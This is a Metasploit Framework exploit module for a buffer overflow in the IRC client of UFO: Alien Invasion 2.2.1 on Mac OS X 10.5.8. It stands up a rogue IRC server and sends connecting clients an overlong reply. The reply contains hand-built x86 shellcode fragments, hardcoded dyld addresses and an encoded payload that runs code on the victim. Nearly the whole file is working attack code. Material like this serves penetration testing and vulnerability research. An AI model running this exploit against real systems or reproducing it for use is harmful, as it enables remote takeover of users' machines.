metasploit-framework/modules/exploits/osx/misc/ufo_ai.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the IRC client component
of UFO: Alien Invasion 2.2.1.
},
'Author' =>
[
'Jason Geffner', # Original Windows PoC Author
'dookie' # OSX Exploit Author
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '65689' ],
[ 'EDB', 14013 ]
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a\x0d",
'MaxNops' => 0,
'StackAdjustment' => -3500,
},
'Platform' => 'osx',
'Targets' =>
[
[ 'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
{
'Arch' => ARCH_X86,
'Offset' => 524,
'Writable' => 0x8fe66448, # dyld __IMPORT
# The rest of these addresses are in dyld __TEXT
'setjmp' => 0x8fe1cf38,
'strdup' => 0x8fe210dc,
'jmp_eax' => 0x8fe01041
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 28 2009'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
], self.class)
end
def make_exec_payload_from_heap_stub()
frag0 =
"\x90" + # nop
"\x58" + # pop eax
"\x61" + # popa
"\xc3" # ret
frag1 =
"\x90" + # nop
"\x58" + # pop eax
"\x89\xe0" + # mov eax, esp
"\x83\xc0\x0c" + # add eax, byte +0xc
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
"\xc3" # ret
setjmp = target['setjmp']
writable = target['Writable']
strdup = target['strdup']
jmp_eax = target['jmp_eax']
exec_payload_from_heap_stub =
frag0 +
[setjmp].pack('V') +
[writable + 32, writable].pack("V2") +
frag1 +
"X" * 20 +
[setjmp].pack('V') +
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
"X" * 4
end
def on_client_connect(client)
print_status("Got client connection...")
offset = target['Offset']
buffer = "001 :"
buffer << rand_text_alpha_upper(offset)
buffer << make_exec_payload_from_heap_stub()
buffer << make_nops(16)
buffer << payload.encoded
buffer << "\x0d\x0a"
print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
client.put(buffer)
end
end